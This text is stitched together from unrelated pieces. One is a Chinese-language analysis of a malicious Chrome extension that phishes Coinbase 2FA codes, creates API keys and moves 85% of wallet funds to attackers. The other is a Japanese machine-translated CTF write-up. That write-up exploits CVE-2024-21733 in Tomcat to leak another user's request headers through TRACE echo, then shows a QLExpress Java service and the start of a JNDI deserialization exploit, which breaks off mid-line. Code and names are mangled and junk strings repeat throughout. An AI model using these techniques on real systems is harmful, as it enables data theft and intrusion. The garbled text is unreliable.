Tether(USDT,specificallyinEthereumERC20andTRONTRC20)



Ethereum(ETH)



Bitcoin(BTC)



Litecoin(LTC)



Binancecoin(BNB)



Ripple(XRP)



Solana(SOL)



BitcoinCash(BCH)



Zcash(ZEC)



StellarLumens(XLM)



Dogecoin(DOGE)



Tezos(XTZ)



Algorand(ALGO)



Dash(DASH)



Cosmos(ATOM)對於ETH地址，腳本硬編碼了大約170個額外的基於ERC20的代幣。之後，擴展啟動onMessage偵聽器以偵聽來自擴展進程或內容腳本發送的消息。該消息採用JSON格式，其中一個name-value pair稱為method。後台腳本偵聽以下方法：



马云惹不起马云Method “homeStart”



這個方法試圖從Chrome的本地存儲獲取API密鑰(apiKey)和API秘密(apiSecret)，如果這些密鑰和秘密對是之前獲得併保存的。以下步驟需要這些參數：



1.使用API通過請求/api/v2/accounts獲取有關錢包、地址和余額的信息。此請求的結果也被洩露到http://



2.如果請求成功，API會向內容腳本發送“okApi”消息並開始解析錢包信息。如果錢包餘額不為零，它會嘗試將85%的可用資金發送到攻擊者控制的錢包。



 7.png



尋找餘額不為零的錢包



 8.png



竊取85%的可用資金



交易請求的結果也會被洩露到http://



1.如果不成功，API會向內容腳本發送“errorApi”消息。 “errorApi”消息包含來自https://www.coinbase.com/settings/api的CSRF令牌作為一個參數，以及對新API密鑰創建請求的響應。



2.Method “createApi”。



此消息是從內容腳本接收的，並包含一個雙因素身份驗證(2FA)代碼作為參數之一。此代碼用於打開新的模式窗口以創建API密鑰。通常，當你在CoinbaseAPI設置中點擊“+NewAPIKey”時，會請求一個2FA代碼，如果代碼正確，就會出現模式窗口。



在創建新API的第二步中，需要選擇錢包及其權限。惡意擴展請求所有帳戶的所有可用權限。



 9.png



選擇所有帳戶和權限



之後，需要再插入一個身份驗證代碼，然後就會顯示一個帶有新生成的API密鑰的表單。如果成功，後台腳本然後繼續從“API Key details”表單提取兩個API密鑰(API Key和API Secret)，將它們保存到Chromium的本地存儲以供以後使用，並將它們提取到http:///traffic/step。如果API身份驗證不成功，將向內容腳本發送一條“retryApi”消息。



內容腳本分析我們進一步研究了內容腳本，以分析負責從受害者那裡竊取2FA密碼的進程。內容腳本包含以下語言的消息列表：



马云惹不起马云英語(en)



马云惹不起马云德語（de）



马云惹不起马云西班牙語（es）



马云惹不起马云法語(fr)



马云惹不起马云日語(jp)



马云惹不起马云印度尼西亞（身份證）



马云惹不起马云意大利語（它）



马云惹不起马云波蘭語(pl)



马云惹不起马云葡萄牙語(pt)



马云惹不起马云俄語(ru)



马云惹不起马云泰語（日）



马云惹不起马云 土耳其語(tr)



每條消息都包含電話和身份驗證器的標題、描述和錯誤消息。



對於“phone”，顯示的英文信息顯示為：



马云惹不起马云“title”：“請輸入手機驗證碼。”



马云惹不起马云“description”：“輸入手機短信提供的兩步驗證碼。”



马云惹不起马云“message”：“該代碼無效。請再試一次。”



對於“authenticator”，顯示的英文消息如下所示：



马云惹不起马云“title”：“請輸入驗證器的驗證碼。”



马云惹不起马云“description”：“輸入你的身份驗證應用程序提供的兩步驗證碼。”



马云惹不起马云“message”：“該代碼無效。請再試一次。”



內容腳本最初向/api/v3/brokerage/user_configuration發出請求，以查看用戶是否已登錄。然後腳本向後台腳本發送一個“homeStart”消息，並開始使用onMessage偵聽類似於後台腳本進程的“method”屬性。如果它接收到一個方法屬性等於“okApi”的消息，它會隱藏代碼加載器並移除模式窗口。如果它接收到一個方法屬性等於“errorApi”的消息，它就會創建一個模式窗口。



 10.png



顯示要求輸入身份驗證代碼的模式窗口



模式窗口有輸入框並偵聽oninput事件。如果每個輸入框都包含一個數字，則將它們連接成一個“tfa”（2FA）變量，並作為“createApi”消息的參數發送到後台腳本。代碼加載器也會顯示出來。



模式窗口有六個輸入框，需要輸入六位數，這是在使用驗證器時提供的。如果受害者通過短信使用身份驗證，那麼身份驗證代碼有7位數字，模式窗口將多一個輸入框。此邏輯在模式窗口代碼中實現。收到的方法屬性等於“retryApi”的消息會刪除所有插入的數字，並以紅色顯示錯誤消息。



 11.png



輸入驗證碼後，出現錯誤信息



總結CopperStealer的幕後攻擊者會經常發起攻擊，研究人員將繼續監控他們的部署，因為攻擊者找到了更多針對不知情的受害者的方法。在分析此進程時，研究人員發現此擴展程序與之前報告的惡意軟件組件之間存在多個相似之處，其中之一是惡意擴展程序和CopperStealer是從之前記錄的同一個dropper和相同的傳輸載體傳播的。



另一個驚人的相似之處是惡意擴展的命令和控制(CC)域具有與域生成算法(DGA)域相同的格式，這些域被追溯為屬於先前版本的CopperStealer。格式是由16個十六進製字符組成的字符串。此外，他們的兩個CC服務器都是使用PHP框架“CodeIgniter”構建的。這些屬性向我們暗示，惡意軟件和擴展程序背後的開發人員或運營商可能存在關聯。



建議用戶和組織從官方平台下載他們的軟件、應用程序和更新，以緩解CopperStealer等惡意軟件帶來的風險和威脅。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
 web 



 passwdstealer 


序文



元々はpasswdstealerです:)



テストポイントは、スプリングブートシナリオでのCVE-2024-21733の使用です。



脆弱性の基本原則の参照https://MP.Weixin.QQ.com/s?__biz=mzg2mdy2odc5ma==mid=2247484002IDX=1SN=7936818B93F22D9A656D8ED4848432C0



二度と繰り返しません。



スプリングブートシナリオでの使用



以前の分析は、Tomcat環境でのこの脆弱性の搾取には特定の条件が必要であることを示しています



タイムアウトエラーをトリガーします。これにより、Reset（）がサーバー（）のループ処理をトリガーするロジックを呼び出し、Tomcatが一度に複数のリクエストを処理し、漏れた機密データをエコーできるようにします。以下は、裸のスプリングブートシナリオでそれを使用する方法を見つけることです。



テスト環境：Springboot V2.6.13、Tomcatは脆弱性バージョン9.0.43に置き換えられ、ルーティングコントローラーは追加されていません。



 
 step1トリガータイムアウト



目的は、read（）を投げるioexception 21pvd0dyvaw554.pngを作成することです



リセット（）をスキップして、制限の不整列を引き起こします。



上記の分析でPOCを使用するには、CLが実際の値iuzfgd4flc1555.pngを超えるCLを使用したパッケージを投稿します



AAAルートが存在せず、POSTデータがTomcatによって処理されないため、数秒で戻りません。



ここでは、投稿データを処理できるリクエストを見つける必要があります。



ここでは、MultiPart/Form-Dataを使用してデータをアップロードします。



 1fjnvy0dzwr556.png



タイムアウトタイムアウトは正常にトリガーされました



 
 step2はループ
に入ります


次に、リクエストがタイムアウト後にhttp11processor.java＃service（）のループをまだ入力するように、条件2を満たすようにしてください。デバッグ後、これは条件nujy1x41bgb557.pngを満たしていないことがわかりました



KeepAliveはfalseになり、コールスタックを上向きにバックトラックして理由を見つけます。



 e4nvvapkwfa558.png e51rqcit0cp559.png



StatusCodeがStatusDropSconnectionにある場合、KeepAliveはfalseに設定されます



バックトラッキングを続けて、ステータスコードが500に設定されている場所を見つけてください。



 qtvqackm4md560.png



追いかけて、それをトリガーしたのはservletexceptionであることがわかりますmi1qiewjnz0561.png



フォローアップを続け、最終的にトリガーされたIOExceptionがfileuploadexception tsgqajcwmlt562.pngとしてパッケージ化されたことを見つけます



ここでのIOExceptionは、実際にはDocardBodyDataのときに使い果たされました。捕まっていないので、上位に直接投げられました。ymdcx1kuod4563.png



この時点で、500の生成の理由を見つけました。500の生成からのリクエストを防ぐ方法を探してみましょう。これは、docardbodydata（）をioexceptionを投げることなく、タイムアウトを引き起こす可能性があります。



最初に通常のマルチパートパッケージを使用してテストします。



ここにいくつかの境界基準があります



boundary=--- webkitformboundary7ma4ywxktrzu0gwがコンテンツタイプで設定されていると仮定します。



次に------ WebKitFormBoundary7MA4YWXKTRZU0GWは、パーツの始まりを表します（2つの最初の - ）



----- webkitformboundary7ma4ywxkttrzu0gw--フォームの終わりを表します（2つは前後に追加されます - ）



ここでは、頭と尾fclxhuh5frc564.pngを備えたマルチパートアップロードパッケージを構築します



彼はreadbounddary（）に足を踏み入れることができることがわかりました



 btobsim4nai565.png



readbounddary（）をフォローアップし続けます。上記の境界基準によれば、マーカー[0]=readbyte（）;最後の2桁を読んでいます - またはCLRFは、境界の終わりのシンボルです。4k5kzzlg54v567.png



しかし、これを行うようにリクエストパッケージを設定した場合、つまり、境界エンドフラグはありませんか？3p5fj5k4qz0568.png



パケットは続き続け、readbyte（）がデータを読み取ることができない場合（送信しなかったため）、最終的にfill（）を呼び出し、fillにioexception（step1の位置）を引き起こすことがわかります。



 sl5ozee0mxa569.png



現時点では、readbyte（）はioExceptionを投げますが、読み取りに巻き込まれ、不正なストリームエクセプトとしてパッケージ化されます。



この時点で、私はSkippreamble関数に戻り、MalformedStreamExceptionが捕まえることを発見し、500を引き起こすためにIOExceptionを上方に投げ続けることができなくなりました。



} catch（最終的なMalformedstreamexception e）{



 falseを返します。この時点で、タイミングを出したが404を返したリクエストパッケージを正常に構築し、404はStatusDropSconnectionに含まれていないため、whileループを入力できます。2sriipmg5zp570.png



 
 step3漏れecho 



この手順は、トレースリクエストを使用するために直接使用できます。トレースリクエスト



 xpmjia2dou4571.png



 end utilization 



ここでは、通常のユーザーのヘッダーにフラグを漏らすという目標を設定します。



まず、敏感な情報を内部に含むリクエスト（このリクエスト中に被害者が送信したと仮定して）を送信します。この時点で、入力バッファはこのように見えます。wcnxzmgjor0572.png



攻撃者はリクエストを送信し、通常42rz1guccdi573.pngを返します



この時点で、入力バッファ内の状況はこのようになりました。qjc5yg0r5ub574.png



最後の最も重要なステップは、攻撃者が瞑想的なマルチパートパッケージ13pcgtfwo55575.pngを送信することです



この時点で、マルチパートパッケージがタイムアウトした後、whileループに入り、パッケージの送信を継続します。したがって、Nextrequestの後、入力バッファーは完全なトレースリクエストになり、フラグは元のバッファーを上書きすることによりトレース要求のヘッダーになります。



 fdqlceg4nyr576.png



最後に、フラグはトレースのエコーによって得られます。



 tm2cidr02c2577.png



ここで手に入れるのはヘッダー情報ですが、実際に体を取得できます。これはもう少し面倒です。被害者パッケージの前にCLRFでいっぱいのパッケージを送信し、事前にバッファーをCLRFで満たし、トレースで要求されたヘッダーとしてボディを上書きします。



 ezql 


パッケージorg.example;



com.ql.util.express.defaultContextをインポートします。



com.ql.util.express.expressrunnerをインポートします。



com.ql.util.express.config.qleexpressruntrategyをインポートします。



com.sun.net.httpserver.httpserverをインポートします。



com.sun.net.httpserver.httphandlerをインポートします。



com.sun.net.httpserver.httpexchangeをインポートします。



sun.misc.base64decoderをインポートします。



java.io.ioexceptionをインポートします。



java.io.inputStreamをインポートします。



java.io.outputStreamをインポートします。



java.net.inetsocketAddressをインポートします。



java.nio.charset.standardcharsetsをインポートします。



java.util.base64をインポートします。



java.util.hashsetをインポートします。



java.util.listをインポートします。



java.util.setをインポートします。



パブリッククラスメイン{



 public static void main（string [] args）throws ioexception {



 int port=integer.parseint（system.getenv（）。getordefault（ 'port'、 '8000'））;



 httpserver server=httpserver.create（new inetsocketAddress（port）、0）;



 server.createcontext（ '/'、new httphandler（）{



 @オーバーライド



 public voidハンドル（httpexchange req）がioexceptionをスローします{



 int code=200;



 文字列応答;



 string path=req.getRequesturi（）。getPath（）;



 if（ '/ql'.equals(path））{



 試す {



 文字列式=getRequestBody（req）;



 Express=new String（base64.getDecoder（）。decode（express））;



 ExpressRunner Runner=new ExpressRunner（）;



 qleexpressrunstrategy.setforbidinovokesecurityRiskMethods（true）;



 SetString secureMethods=new Hashset（）;



 securemethods.add（ 'java.lang.integer.valueof'）;



 qleexpressrunstrategy.setsecuremethods（securemethods）;



 DefaultContextString、Object Context=new DefaultContext（）;



 応答='0';



 試す {



 Response=string.valueof（runner.execute（express、context、（list）null、false、false））;



 } catch（例外e）{



 System.out.println（e）;



 }



//string param=req.getRequesturi（）。getQuery（）;



//response=new initialContext（）。lookup（param）.toString（）;



 } catch（例外e）{



 e.printstacktrace（）;



 Response=':（';



 }



 } それ以外{



 コード=404;



 応答='見つかりません';



 }



 req.sendresponseheaders（code、response.length（））;



 outputStream os=req.getResponseBody（）;



 os.write（respons.getBytes（））;



 os.close（）;



 }



 }）;



 server.start（）;



System.out.printf（ ':％d％n'、portで聞くサーバー）;



 }



 private static string getRequestBody（httpexchange Exchange）はioExceptionをスローします{



 inputStream is=exchange.getRequestBody（）;



 byte [] buffer=new byte [1024];



 int bytesRead;



 stringbuilder body=new StringBuilder（）;



 while（（bytesread=is.read（buffer））！=-1）{



 body.append（new String（Buffer、0、BytesRead、StandardCharsets.utf_8））;



 }



 return body.toString（）;



 }



}



単純なQL式



解決策1 



ソリューション1は、実際には少し予期せぬものに偏っており、Qleexpressionの特徴を忘れています。まず、CB依存関係が付属するActiveMQ依存関係があることに気付きました。したがって、脱力化利用チェーンが確認されています。



2つ目は、脱審成をトリガーする方法です。脱派化のトリガーのための2つのアイデアは簡単ではありません。



TemplatesJndiは後者に属します。JDBCrowsetのセッターメソッドを呼び出してルックアップを押すことができます



com.sun.rowset.idbcrowsetimplをインポートします。



jdbc=new jdbcrowsetimpl（）;



JDBC.DATASOURCENAME='